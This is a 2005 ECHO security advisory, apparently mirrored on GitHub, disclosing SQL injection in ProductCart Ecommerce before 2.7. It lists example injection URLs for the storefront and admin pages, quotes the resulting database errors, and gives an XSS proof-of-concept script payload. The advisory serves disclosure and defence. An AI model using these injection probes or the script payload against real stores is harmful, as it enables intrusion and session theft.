-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathadv16-theday-2005.txt
118 lines (78 loc) · 3.91 KB
/
adv16-theday-2005.txt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
____________________ ___ ___ ________
\_ _____/\_ ___ \ / | \\_____ \
| __)_ / \ \// ~ \/ | \
| \\ \___\ Y / | \
/_______ / \______ /\___|_ /\_______ /
\/ \/ \/ \/
.OR.ID
ECHO_ADV_16$2005
---------------------------------------------------------------------------
[ECHO_ADV_16$2005] Multiple SQL INJECTION in ProductCart Ecommerce
---------------------------------------------------------------------------
Author: Dedi Dwianto
Date: June, 07th 2005
Location: Indonesia, Jakarta
Web: http://echo.or.id/adv/adv16-theday-2005.txt
---------------------------------------------------------------------------
Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Application : ProductCart Ecommerce
version : < 2.7
url : http://www.earlyimpact.com/
Author: Early Impact
Description:
ProductCart Ecommerce is popular ecommerce software.In somepages this software
was filter query sql with add file msg.asp. but i found new bug where user can
input sql query.
---------------------------------------------------------------------------
Vulnerabilitie:
~~~~~~~~~~~~~~~~
A. SQL Injection
* http://victim/pc/viewPrd.asp?idcategory=[catid][SQL INJECTION]&idproduct=[prod id]
ex :
http://victim/pc/viewPrd.asp?idcategory=16'&idproduct=42
Error :
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC Microsoft Access Driver] Syntax error in string in query expression 'idcategory=16''.
/apparel/productcart/pc/include-metatags.asp, line 87
* http://victim/pc/pcadmin/editCategories.asp?nav=&lid=[id cat][sql injection]
ex :
http://victim/pc/pcadmin/editCategories.asp?nav=&lid=123'
Error :
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC Microsoft Access Driver] Syntax error in string in query expression 'idCategory=123' ORDER BY categoryDesc'.
/apparel/productcart/pcadmin/editCategories.asp, line 69
* http://victim/pc/pcadmin/modCustomCardPaymentOpt.asp?mode=Edit&idc=[page][sqlinjection]&id=[id]&gwCode=[code]
Ex :
http://victim/pc/pcadmin/modCustomCardPaymentOpt.asp?mode=Edit&idc=1'&id=55&gwCode=101
Error :
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC Microsoft Access Driver] Syntax error (missing operator) in query expression '(((customCardTypes.idcustomCardType)=1') AND ((payTypes.gwCode)=101'))'.
/apparel/productcart/pcadmin/modCustomCardPaymentOpt.asp, line 162
* http://victim/pc/pcadmin/OptionFieldsEdit.asp?idc=1&id=[id]&idccr=[id][sql Injection]
Ex :
http://victim/pc/pcadmin/OptionFieldsEdit.asp?idc=1&id=55&idccr=2'
Error :
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC Microsoft Access Driver] Syntax error in string in query expression 'idCustomCardRules=2';'.
/apparel/productcart/pcadmin/OptionFieldsEdit.asp, line
And XSS
POC :
http://victim/pc/pcadmin/techErr.asp?error=[XSS]
http://victim/pc/pcadmin/techErr.asp?error=<script>alert('document.cookie')</script>
B. Fix
Sorry I can't give solution because i can't view source code becase that's commersial Software.
Contact vendor No response.
---------------------------------------------------------------------------
Shoutz:
~~~~~~~
~ y3dips, moby, comex, z3r0byt3, K-159, c-a-s-e, S`to, lirva32, anonymous
~ Lieur Euy , MSR
~ #e-c-h-o@DALNET
---------------------------------------------------------------------------
Contact:
~~~~~~~~
the_day || echo|staff || the_day[at]echo[dot]or[dot]id
Homepage: http://theday.echo.or.id/
-------------------------------- [ EOF ] ----------------------------------